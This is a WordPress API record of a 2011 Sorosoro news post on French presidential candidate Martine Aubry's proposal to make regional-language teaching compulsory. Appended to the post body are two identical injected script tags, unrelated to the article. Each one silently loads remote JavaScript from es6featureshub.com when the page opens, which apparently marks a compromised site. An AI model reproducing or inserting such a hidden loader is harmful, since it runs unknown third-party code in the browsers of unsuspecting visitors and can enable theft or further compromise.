{"id":58537,"date":"2011-10-07T15:00:52","date_gmt":"2011-10-07T13:00:52","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=58537"},"modified":"2025-10-21T22:20:16","modified_gmt":"2025-10-21T20:20:16","slug":"october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/","title":{"rendered":"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages"},"content":{"rendered":"<p style=\"text-align: justify;\">The ongoing <strong>election period in France<\/strong> seems particularly fruitful in statements of intent on <strong>regional languages<\/strong>. Following Minister of Culture <a href=\"https:\/\/www.sorosoro.org\/en\/august-12-2011-french-minister-of-culture-frederic-miterrand-does-not-see-the-point-of-a-law-on-regional-languages\">Fr\u00e9d\u00e9ric Mitterrand<\/a> and Socialist Candidate <a href=\"https:\/\/www.sorosoro.org\/en\/september-14-15-2011-french-presidency-candidate-francois-hollande-on-regional-languages\">Fran\u00e7ois Hollande<\/a>, this time it is <strong>Martine Aubry<\/strong>\u2019s turn, also from the Parti Socialiste, to take position. And as it happens she has even advocated for having the teaching of regional languages made <strong>compulsory<\/strong> in the areas they are spoken in \u2013 except when facing &#8220;adamant parental disapproval&#8221;.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">One might show stupor before such a radical stance coming from the leader of party which long balked at granting value to the regional languages of France, on the ground that they might stand as a theat to the Republican unity. But things change, apparently, as Martine Aubry now opposes the idea that &#8220;French unity implies uniformity&#8221;, and declares &#8220;it has become obvious that the French Republic is better defended in its own country, by its own culture. And because I\u2019m an ardent defender of the Republican ideal, I\u2019m also a defender of the cultural diversity of France and that of the French&#8221;.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">On the practical side, the candidate suggests that the teaching of regional languages could fall under a <strong>new jurisdiction of the French Regions<\/strong>, bearing in mind that the &#8220;decisions of education officials for each academy will have to remain consistent with regional policies&#8221;.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Wonderful promises, reaching further than those delivered by other candidates of Aubry\u2019s party so far. Now for these promises to yield once the elections are through&#8230;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.ouest-france.fr\/region\/bretagne_detail_-Langue-bretonne-Martine-Aubry-au-creneau-_8619-1996256_actu.Htm\" target=\"_blank\"><em>Ouest-France<\/em> article<\/a>.<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The ongoing election period in France seems particularly fruitful in statements of intent on regional languages. Following Minister of Culture Fr\u00e9d\u00e9ric Mitterrand and Socialist Candidate Fran\u00e7ois Hollande, this time it is Martine Aubry\u2019s turn, also from the Parti Socialiste, to take position. And as it happens she has even advocated for having the teaching of [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-58537","post","type-post","status-publish","format-standard","hentry","category-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"The ongoing election period in France seems particularly fruitful in statements of intent on regional languages. Following Minister of Culture Fr\u00e9d\u00e9ric Mitterrand and Socialist Candidate Fran\u00e7ois Hollande, this time it is Martine Aubry\u2019s turn, also from the Parti Socialiste, to take position. And as it happens she has even advocated for having the teaching of [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-10-07T13:00:52+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:20:16+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages\",\"datePublished\":\"2011-10-07T13:00:52+00:00\",\"dateModified\":\"2025-10-21T20:20:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\"},\"wordCount\":263,\"articleSection\":[\"News of the endangered languages\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\",\"name\":\"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-10-07T13:00:52+00:00\",\"dateModified\":\"2025-10-21T20:20:16+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/","og_locale":"en_US","og_type":"article","og_title":"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages - Sorosoro","og_description":"The ongoing election period in France seems particularly fruitful in statements of intent on regional languages. Following Minister of Culture Fr\u00e9d\u00e9ric Mitterrand and Socialist Candidate Fran\u00e7ois Hollande, this time it is Martine Aubry\u2019s turn, also from the Parti Socialiste, to take position. And as it happens she has even advocated for having the teaching of [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/","og_site_name":"Sorosoro","article_published_time":"2011-10-07T13:00:52+00:00","article_modified_time":"2025-10-21T20:20:16+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages","datePublished":"2011-10-07T13:00:52+00:00","dateModified":"2025-10-21T20:20:16+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/"},"wordCount":263,"articleSection":["News of the endangered languages"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/","name":"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-10-07T13:00:52+00:00","dateModified":"2025-10-21T20:20:16+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"October 4, 2011: French Presidential candidate Martine Aubry speaks on regional languages"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/58537","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=58537"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/58537\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=58537"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=58537"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=58537"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}